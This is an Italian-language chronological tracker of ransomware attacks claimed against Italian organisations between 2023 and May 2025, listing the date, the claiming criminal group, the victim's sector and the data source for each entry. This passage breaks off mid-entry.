(fonte dati: Ransomfeed) 26-05-2025 – L’attacco è stato rivendicato dal gruppo criminale killsec. Azienda operante nel settore Agriculture and agribusiness (fonte dati: Ransomfeed) 26-05-2025 – L’attacco è stato rivendicato dal gruppo criminale killsec. Azienda operante nel settore Consulting (fonte dati: Ransomfeed) 26-05-2025 – L’attacco è stato rivendicato dal gruppo criminale arcusmedia. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 26-05-2025 – L’attacco è stato rivendicato dal gruppo criminale devman. Azienda operante nel settore Pharmacy and drugs manufacturing (fonte dati: Ransomfeed) 27-05-2025 – L’attacco è stato rivendicato dal gruppo criminale direwolf. Azienda operante nel settore Finance (fonte dati: Ransomfeed) 29-05-2025 – L’attacco è stato rivendicato dal gruppo criminale datacarry. Azienda operante nel settore Healthcare research (fonte dati: Ransomfeed) 29-05-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Automotive (fonte dati: Ransomfeed) 02-04-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 07-04-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Services (fonte dati: Ransomfeed) 07-04-2025 – L’attacco è stato rivendicato dal gruppo criminale ransomhouse. Azienda operante nel settore Business Services (fonte dati: Ransomfeed) 07-04-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 07-04-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 08-04-2025 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 13-04-2025 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Logistics (fonte dati: Ransomfeed) 16-04-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Heavy industries (fonte dati: Ransomfeed) 16-04-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Culture (fonte dati: Ransomfeed) 16-04-2025 – L’attacco è stato rivendicato dal gruppo criminale ralord. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 17-04-2025 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Logistics (fonte dati: Ransomfeed) 21-04-2025 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 21-04-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 23-04-2025 – L’attacco è stato rivendicato dal gruppo criminale incransom. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 23-04-2025 – L’attacco è stato rivendicato dal gruppo criminale lynx. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 26-04-2025 – L’attacco è stato rivendicato dal gruppo criminale rhysida. Azienda operante nel settore Travel and tourism industry (fonte dati: Ransomfeed) 27-04-2025 – L’attacco è stato rivendicato dal gruppo criminale gunra. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 30-04-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Distribution (fonte dati: Ransomfeed) 02-03-2025 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Architecture (fonte dati: Ransomfeed) 04-03-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Heavy industries (fonte dati: Ransomfeed) 05-03-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Architecture (fonte dati: Ransomfeed) 06-03-2025 – L’attacco è stato rivendicato dal gruppo criminale fog. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 06-03-2025 – L’attacco è stato rivendicato dal gruppo criminale weyhro. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 11-03-2025 – L’attacco è stato rivendicato dal gruppo criminale nitrogen. Azienda operante nel settore Business Services (fonte dati: Ransomfeed) 14-03-2025 – L’attacco è stato rivendicato dal gruppo criminale lynx. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 15-03-2025 – L’attacco è stato rivendicato dal gruppo criminale orca. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 16-03-2025 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Retail (distribution) (fonte dati: Ransomfeed) 16-03-2025 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore (fonte dati: Ransomfeed) 24-03-2025 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 24-03-2025 – L’attacco è stato rivendicato dal gruppo criminale VanHelsing. Azienda operante nel settore Architecture (fonte dati: Ransomfeed) 24-03-2025 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore High-tech (fonte dati: Ransomfeed) 25-03-2025 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Renewable energies (fonte dati: Ransomfeed) 28-03-2025 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 29-03-2025 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Unknown (fonte dati: Ransomfeed) 30-03-2025 – L’attacco è stato rivendicato dal gruppo criminale nightspire. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 01-02-2025 – L’attacco è stato rivendicato dal gruppo criminale arcusmedia. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 03-02-2025 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 06-02-2025 – L’attacco è stato rivendicato dal gruppo criminale fog. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 11-02-2025 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Distribution (fonte dati: Ransomfeed) 12-02-2025 – L’attacco è stato rivendicato dal gruppo criminale fog. Azienda operante nel settore Research (fonte dati: Ransomfeed) 13-02-2025 – L’attacco è stato rivendicato dal gruppo criminale threeam. Azienda operante nel settore Construction (fonte dati: Ransomfeed) 14-02-2025 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Services (fonte dati: Ransomfeed) 17-02-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Health (fonte dati: Ransomfeed) 20-02-2025 – L’attacco è stato rivendicato dal gruppo criminale kraken. Azienda operante nel settore Defense industry (fonte dati: Ransomfeed) 24-02-2025 – L’attacco è stato rivendicato dal gruppo criminale cactus. Azienda operante nel settore Technologies (fonte dati: Ransomfeed) 24-02-2025 – L’attacco è stato rivendicato dal gruppo criminale clop. Azienda operante nel settore Information Technologies Consulting (fonte dati: Ransomfeed) 07-01-2025 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Automotive (fonte dati: Ransomfeed) 11-01-2025 – L’attacco è stato rivendicato dal gruppo criminale hunters. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 13-01-2025 – L’attacco è stato rivendicato dal gruppo criminale lynx. Azienda operante nel settore Food and drinks businesses (fonte dati: Ransomfeed) 14-01-2025 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Manufacturing (fonte dati: Ransomfeed) 16-01-2025 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Services (fonte dati: Ransomfeed) 16-01-2025 – L’attacco è stato rivendicato dal gruppo criminale everest. Azienda operante nel settore Energy (fonte dati: Ransomfeed) 17-01-2025 – L’attacco è stato rivendicato dal gruppo criminale morpheus. Azienda operante nel settore Information Technologies Consulting (fonte dati: Ransomfeed) 17-01-2025 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Consulting (fonte dati: Ransomfeed) 24-01-2025 – L’attacco è stato rivendicato dal gruppo criminale FOG. Azienda operante nel settore Energy (fonte dati: Ransomfeed) 29-01-2025 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Retail (distribution) (fonte dati: Ransomfeed) 31-01-2025 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Legal consulting (fonte dati: Ransomfeed) Il dato del numero totale di rivendicazioni ransomware contro target italiani, aggiornato al 31/12/2024: 146. 03-12-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore (fonte dati: DRM) 03-12-2024 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore (fonte dati: DRM) 04-12-2024 – L’attacco è stato rivendicato dal gruppo criminale funksec. Azienda operante nel settore (fonte dati: DRM) 04-12-2024 – L’attacco è stato rivendicato dal gruppo criminale blackbasta. Azienda operante nel settore (fonte dati: DRM) 05-12-2024 – L’attacco è stato rivendicato dal gruppo criminale funksec. Azienda operante nel settore (fonte dati: DRM) 05-12-2024 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore (fonte dati: DRM) 07-12-2024 – L’attacco è stato rivendicato dal gruppo criminale everest. Azienda operante nel settore (fonte dati: DRM) 11-12-2024 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore (fonte dati: DRM) 16-12-2024 – L’attacco è stato rivendicato dal gruppo criminale argonauts. Azienda operante nel settore Services (fonte dati: DRM) 18-12-2024 – L’attacco è stato rivendicato dal gruppo criminale blackbasta. Azienda operante nel settore Legal consulting (fonte dati: DRM) 28-12-2024 – L’attacco è stato rivendicato dal gruppo criminale raworld. Azienda operante nel settore Manufacturing (fonte dati: DRM) 05-11-2024 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Manufacturing (fonte dati: DRM) 15-11-2024 – L’attacco è stato rivendicato dal gruppo criminale everest. Azienda operante nel settore (fonte dati: DRM) 16-11-2024 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore (fonte dati: DRM) 16-11-2024 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore (fonte dati: DRM) 18-11-2024 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore (fonte dati: DRM) 19-11-2024 – L’attacco è stato rivendicato dal gruppo criminale blackbasta. Azienda operante nel settore (fonte dati: DRM) 19-11-2024 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore (fonte dati: DRM) 26-11-2024 – L’attacco è stato rivendicato dal gruppo criminale lynx. Azienda operante nel settore (fonte dati: DRM) 27-11-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore (fonte dati: DRM) 27-11-2024 – L’attacco è stato rivendicato dal gruppo criminale argonauts. Azienda operante nel settore (fonte dati: DRM) 29-11-2024 – L’attacco è stato rivendicato dal gruppo criminale hunters. Azienda operante nel settore (fonte dati: DRM) 30-11-2024 – L’attacco è stato rivendicato dal gruppo criminale apt73/bashe. Azienda operante nel settore (fonte dati: DRM) 06-10-2024 – L’attacco è stato rivendicato dal gruppo criminale stormous. Azienda operante nel settore Consulting (fonte dati: DRM) 08-10-2024 – L’attacco è stato rivendicato dal gruppo criminale eldorado. Azienda operante nel settore Travel and tourism industry (fonte dati: DRM) 09-10-2024 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Finance (fonte dati: DRM) 09-10-2024 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Manufacturing (fonte dati: DRM) 10-10-2024 – L’attacco è stato rivendicato dal gruppo criminale meow. Azienda operante nel settore Food and drinks businesses (fonte dati: DRM) 17-10-2024 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Technologies (fonte dati: DRM) 20-10-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Unknown (fonte dati: DRM) 21-10-2024 – L’attacco è stato rivendicato dal gruppo criminale blacksuit. Azienda operante nel settore Manufacturing (fonte dati: DRM) 21-10-2024 – L’attacco è stato rivendicato dal gruppo criminale monti. Azienda operante nel settore Food and drinks businesses (fonte dati: DRM) 22-10-2024 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore Technologies (fonte dati: DRM) 24-10-2024 – L’attacco è stato rivendicato dal gruppo criminale interlock. Azienda operante nel settore Manufacturing (fonte dati: DRM) 31-10-2024 – L’attacco è stato rivendicato dal gruppo criminale sarcoma. Azienda operante nel settore Agriculture and agribusiness (fonte dati: DRM) 31-10-2024 – L’attacco è stato rivendicato dal gruppo criminale raworld. Azienda operante nel settore Retail (distribution) (fonte dati: DRM) 02-09-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Information Technologies Consulting (fonte dati: DRM) 06-09-2024 – L’attacco è stato rivendicato dal gruppo criminale madliberator. Azienda operante nel settore Manufacturing (fonte dati: DRM) 07-09-2024 – L’attacco è stato rivendicato dal gruppo criminale meow. Azienda operante nel settore Food and drinks businesses (fonte dati: DRM) 09-09-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Universities (fonte dati: DRM) 14-09-2024 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore Technologies (fonte dati: DRM) 15-09-2024 – L’attacco è stato rivendicato dal gruppo criminale arcusmedia. Azienda operante nel settore Technologies (fonte dati: DRM) 15-09-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Manufacturing (fonte dati: DRM) 19-09-2024 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Retail (distribution) (fonte dati: DRM) 26-09-2024 – L’attacco è stato rivendicato dal gruppo criminale cloak. Azienda operante nel settore Unknown (fonte dati: DRM) 02-08-2024 – L’attacco è stato rivendicato dal gruppo criminale hunters. Azienda operante nel settore degli enti governativi (fonte dati: DRM) 13-08-2024 – L’attacco è stato rivendicato dal gruppo criminale helldown. Azienda operante nel settore Research (fonte dati: DRM) 13-08-2024 – L’attacco è stato rivendicato dal gruppo criminale helldown. Azienda operante nel settore Transport (fonte dati: DRM) 13-08-2024 – L’attacco è stato rivendicato dal gruppo criminale blacksuit. Azienda operante nel settore Manufacturing (fonte dati: DRM) 15-08-2024 – L’attacco è stato rivendicato dal gruppo criminale ciphbit. Azienda operante nel settore Construction (fonte dati: DRM) 15-08-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Travel and tourism industry (fonte dati: DRM) 16-08-2024 – L’attacco è stato rivendicato dal gruppo criminale hunters. Azienda operante nel settore Renewable energies (fonte dati: DRM) 16-08-2024 – L’attacco è stato rivendicato dal gruppo criminale ciphbit. Azienda operante nel settore Development (fonte dati: DRM) 17-08-2024 – L’attacco è stato rivendicato dal gruppo criminale stormous. Azienda operante nel settore Services (fonte dati: DRM) 19-08-2024 – L’attacco è stato rivendicato dal gruppo criminale hunters. Azienda operante nel settore Construction (fonte dati: DRM) 21-08-2024 – L’attacco è stato rivendicato dal gruppo criminale ciphbit. Azienda operante nel settore Luxury (fonte dati: DRM) 24-08-2024 – L’attacco è stato rivendicato dal gruppo criminale bianlian. Azienda operante nel settore Attorney (fonte dati: DRM) 27-08-2024 – L’attacco è stato rivendicato dal gruppo criminale meow. Azienda operante nel settore Manufacturing (fonte dati: DRM) 31-08-2024 – L’attacco è stato rivendicato dal gruppo criminale meow. Azienda operante nel settore Food and drinks businesses (fonte dati: DRM) 02-07-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Retail (distribution) (fonte dati: DRM) 03-07-2024 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Manufacturing (fonte dati: DRM) 08-07-2024 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Mining (fonte dati: DRM) 08-07-2024 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Schools (fonte dati: DRM) 10-07-2024 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Shops (fonte dati: DRM) 15-07-2024 – L’attacco è stato rivendicato dal gruppo criminale blackbasta. Azienda operante nel settore Manufacturing (fonte dati: DRM) 17-07-2024 – L’attacco è stato rivendicato dal gruppo criminale everest. Azienda operante nel settore Services (fonte dati: DRM) 17-07-2024 – L’attacco è stato rivendicato dal gruppo criminale madliberator. Azienda operante nel settore Local administrations (fonte dati: DRM) 17-07-2024 – L’attacco è stato rivendicato dal gruppo criminale donutleaks. Azienda operante nel settore High-tech (fonte dati: DRM) 18-07-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore High-tech (fonte dati: DRM) 24-07-2024 – L’attacco è stato rivendicato dal gruppo criminale monti. Azienda operante nel settore Distribution (fonte dati: DRM) 26-07-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhouse. Azienda operante nel settore Food and drinks businesses (fonte dati: DRM) 26-07-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Food and drinks businesses (fonte dati: DRM) 04-06-2024 – L’attacco è stato rivendicato dal gruppo criminale SenSayQ. Azienda operante nel settore Manufacturing (fonte dati: DRM) 06-06-2024 – L’attacco è stato rivendicato dal gruppo criminale ElDorado. Azienda operante nel settore Services (fonte dati: DRM) 06-06-2024 – L’attacco è stato rivendicato dal gruppo criminale ElDorado. Azienda operante nel settore Schools (fonte dati: DRM) 12-06-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Technologies (fonte dati: DRM) 13-06-2024 – L’attacco è stato rivendicato dal gruppo criminale everest. Azienda operante nel settore Technologies (fonte dati: DRM) 18-06-2024 – L’attacco è stato rivendicato dal gruppo criminale spacebears. Azienda operante nel settore Retail (distribution) (fonte dati: DRM) 18-06-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Retail (distribution) (fonte dati: DRM) 18-06-2024 – L’attacco è stato rivendicato dal gruppo criminale cactus. Azienda operante nel settore Manufacturing (fonte dati: DRM) 20-06-2024 – L’attacco è stato rivendicato dal gruppo criminale cicada3301. Azienda operante nel settore Healthcare services (fonte dati: DRM) 24-06-2024 – L’attacco è stato rivendicato dal gruppo criminale monti. Azienda operante nel settore Transport (fonte dati: DRM) 27-06-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Information Technologies Consulting (fonte dati: DRM) 27-06-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Agriculture and agribusiness (fonte dati: DRM) 28-06-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhouse. Azienda operante nel settore Technologies (fonte dati: DRM) 29-06-2024 – L’attacco è stato rivendicato dal gruppo criminale arcusmedia. Azienda operante nel settore Services (fonte dati: DRM) 04-05-2024 – L’attacco è stato rivendicato dal gruppo criminale blackbasta. Azienda operante nel settore Manufacturing (fonte dati: DRM) 04-05-2024 – L’attacco è stato rivendicato dal gruppo criminale blackbasta. Azienda operante nel settore Healthcare services (fonte dati: DRM) 04-05-2024 – L’attacco è stato rivendicato dal gruppo criminale blackbasta. Azienda operante nel settore Gas (fonte dati: DRM) 09-05-2024 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Manufacturing (fonte dati: DRM) 09-05-2024 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Food and drinks businesses (fonte dati: DRM) 09-05-2024 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Retail (distribution) (fonte dati: DRM) 09-05-2024 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Manufacturing (fonte dati: DRM) 13-05-2024 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Heavy industries (fonte dati: DRM) 13-05-2024 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Public sector (fonte dati: DRM) 14-05-2024 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Manufacturing (fonte dati: DRM) 15-05-2024 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Health (fonte dati: DRM) 18-05-2024 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Universities (fonte dati: DRM) 21-05-2024 – L’attacco è stato rivendicato dal gruppo criminale blackbasta. Azienda operante nel settore Technologies (fonte dati: DRM) 25-05-2024 – L’attacco è stato rivendicato dal gruppo criminale mallox. Azienda operante nel settore Technologies (fonte dati: DRM) 27-05-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Banking institutions (fonte dati: DRM) 30-05-2024 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Entertainment industry (fonte dati: DRM) 31-05-2024 – L’attacco è stato rivendicato dal gruppo criminale cactus. Azienda operante nel settore Heavy industries (fonte dati: DRM) 03-04-2024 – L’attacco è stato rivendicato dal gruppo criminale hunters. Azienda operante nel settore (fonte dati: DRM) 06-04-2024 – L’attacco è stato rivendicato dal gruppo criminale ciphbit. Azienda operante nel settore Manufacturing (fonte dati: DRM) 06-04-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Automotive (fonte dati: DRM) 08-04-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Health (fonte dati: DRM) 09-04-2024 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Architecture (fonte dati: DRM) 09-04-2024 – L’attacco è stato rivendicato dal gruppo criminale ciphbit. Azienda operante nel settore Manufacturing (fonte dati: DRM) 09-04-2024 – L’attacco è stato rivendicato dal gruppo criminale dragonforce. Azienda operante nel settore Manufacturing (fonte dati: DRM) 16-04-2024 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Construction (fonte dati: DRM) 18-04-2024 – L’attacco è stato rivendicato dal gruppo criminale ransomhub. Azienda operante nel settore Shops (fonte dati: DRM) 22-04-2024 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Luxury (fonte dati: DRM) 25-04-2024 – L’attacco è stato rivendicato dal gruppo criminale rhysida. Azienda operante nel settore Hotel (fonte dati: DRM) 08-03-2024 – L’attacco è stato rivendicato dal gruppo criminale donex. Azienda operante nel settore Technologies (fonte dati: DRM) 09-03-2024 – L’attacco è stato rivendicato dal gruppo criminale mydata. Azienda operante nel settore Construction (fonte dati: DRM) 12-03-2024 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Heavy industries (fonte dati: DRM) 14-03-2024 – L’attacco è stato rivendicato dal gruppo criminale abyss. Azienda operante nel settore Marketing (fonte dati: DRM) 16-03-2024 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Engineering consulting (fonte dati: DRM) 17-03-2024 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore Maritime transport (fonte dati: DRM) 18-03-2024 – L’attacco è stato rivendicato dal gruppo criminale stormous. Azienda operante nel settore Marketing (fonte dati: DRM) 19-03-2024 – L’attacco è stato rivendicato dal gruppo criminale hunters. Azienda operante nel settore Legal consulting (fonte dati: DRM) 05-02-2024 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Transport (fonte dati: DRM) 05-02-2024 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Healthcare research (fonte dati: DRM) 12-02-2024 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Services (fonte dati: DRM) 12-02-2024 – L’attacco è stato rivendicato dal gruppo criminale meow. Azienda operante nel settore Unknown (fonte dati: DRM) 12-02-2024 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Manufacturing (fonte dati: DRM) 13-02-2024 – L’attacco è stato rivendicato dal gruppo criminale blackbasta. Azienda operante nel settore Utility (fonte dati: DRM) 14-02-2024 – L’attacco è stato rivendicato dal gruppo criminale lockbit3. Azienda operante nel settore Financial organizations (fonte dati: DRM) 15-02-2024 – L’attacco è stato rivendicato dal gruppo criminale rhysida. Azienda operante nel settore Healthcare services (fonte dati: DRM) 19-02-2024 – L’attacco è stato rivendicato dal gruppo criminale trisec. Azienda operante nel settore Entertainment industry (fonte dati: DRM) 19-02-2024 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Information Technologies Consulting (fonte dati: DRM) 28-02-2024 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Business Services (fonte dati: DRM) 28-02-2024 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Transport (fonte dati: DRM) 28-02-2024 – L’attacco è stato rivendicato dal gruppo criminale trigona. Azienda operante nel settore Oil (fonte dati: DRM) 12-01-2024 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Manufacturing (fonte dati: DRM) 17-01-2024 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Manufacturing (fonte dati: DRM) 22-01-2024 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore (fonte dati: DRM) 25-01-2024 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore Finance (fonte dati: DRM) 25-01-2024 – L’attacco è stato rivendicato dal gruppo criminale medusa. Azienda operante nel settore Digital infrastructures (fonte dati: DRM) 31-01-2024 – L’attacco è stato rivendicato dal gruppo criminale 8base. Azienda operante nel settore Manufacturing (fonte dati: DRM) 31-01-2024 – L’attacco è stato rivendicato dal gruppo criminale akira. Azienda operante nel settore Consulting (fonte dati: DRM) Il dato del numero totale di rivendicazioni ransomware contro target italiani, aggiornato al 28/12/2023: 185. 08-01-2023 – L’attacco ransomware viene rivendicato dal gruppo criminale ALPHV/BlackCat. Vengono diffusi 750 GB di dati tramite link al noto servizio di filesharing Mega (fonte dati: DRM). 26-01-2023 – L’attacco viene rivendicato dal gruppo criminale ALPHV/BlackCat. Vengono diffusi online 262 GB di dati. Somacis si occupa dal 1972 di soluzioni tecnologiche ed elettronica industriale (fonte dati: DRM). 31-01-2023 – L’attacco viene rivendicato dal gruppo criminale royal. In questo caso la vittima è un ente pubblico. Viene diffuso l’1% di quanto potenzialmente esfiltrato dall’infrastruttura durante l’attacco, che sembra essere quantificato in circa 270 files (fonte dati: DRM). 31-01-2023 – L’attacco viene rivendicato dal gruppo criminale Vice Society. I dati rubati vengono diffusi online direttamente sul sito della cyber gang, navigabili e scaricabili singolarmente (fonte dati: DRM). 03-02-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. Azienda operante nel settore dei trasporti e logistica. I dati rubati sono stati resi disponibili online dopo 11 giorni dalla rivendicazione, navigabili e scaricabili direttamente sul sito Web del gruppo criminale (fonte dati: DRM). 07-02-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. Azienda vitivinicola in Abruzzo. I dati rubati sono stati resi disponibili online dopo 8 giorni dalla rivendicazione (fonte dati: DRM). 13-02-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. I dati sono stati resi disponibili online a partire dal 25 febbraio 2023 (fonte dati: DRM). 14-02-2023 – L’attacco viene rivendicato dal gruppo criminale RansomHouse. Azienda operante nel settore sanitario (catena di approvvigionamento). Vengono diffusi 50 GB di dati direttamente sul sito Web del gruppo criminale (fonte dati: DRM). 14-02-2023 – L’attacco viene rivendicato dal gruppo criminale Play. Azienda operante nel settore gaming ed intrattenimento. Diffusi come prova dell’attacco, 5 GB di dati rubati (fonte dati: DRM). 15-02-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. Azienda operante nel settore siderurgico con sede a Vicenza. I dati rubati sono stati diffusi online 5 giorni dopo la rivendicazione (fonte dati: DRM). 15-02-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. Azienda operante nel settore della giocoleria per bambini, produzione di peluche. I dati rubati sono stati diffusi online 15 giorni dopo la rivendicazione (fonte dati: DRM). 22-02-2023 – L’attacco viene rivendicato dal gruppo criminale ALPHV/BlackCat. Azienda di Bolzano operante nel settore della sanificazione e logistica sanitaria. I dati esfiltrati durante l’attacco, in possesso dei criminali informatici ammontano a 107 GB (fonte dati: DRM). 23-02-2023 – L’attacco viene rivendicato dal gruppo criminale RansomHouse. Azienda di Brescia operante nella ricerca e sviluppo farmaceutici. Diffusa la minaccia su una disponibilità di dati rubati che ammonta a 60 GB (fonte dati: DRM). 02-03-2023 – L’attacco viene rivendicato dal gruppo criminale RansomExx. Attività operante nel settore degli studi professionali (commercialisti). 35,5 GB di dati vengono diffusi online direttamente nel sito Web della ransomware gang, all’interno dati della società contenenti anche documenti sensibili (fonte dati: DRM). 11-03-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. I dati sono stati resi pubblici dopo 12 giorni dalla rivendicazione dell’attacco, attualmente navigabili e scaricabili online. (fonte dati: DRM). 11-03-2023 – L’attacco viene rivendicato dal gruppo criminale Lockbit3. Attività operante nel settore siderurgico. I dati sono stati diffusi online dopo 14 giorni dalla rivendicazione (fonte dati: DRM). 17-03-2023 – L’attacco ad ACEA viene rivendicato dal gruppo criminale BlackBasta. Settore energia. 800 GB di dati interni sono stati diffusi online con collezioni di file interni pubblicamente accessibili (fonte dati: DRM). 21-03-2023 – L’attacco viene rivendicato dal gruppo criminale BlackBasta. Settore design e arredo. 78 GB circa di dati interni liberamente diffusi e scaricabili direttamente sul sito Web della cyber gang criminale (fonte: DRM). 23-03-2023 – L’attacco viene rivendicato dal gruppo criminale BlackBasta. Attività operante nel settore ristorazione. Dati diffusi online direttamente sul sito Web della cyber gang (fonte dati: 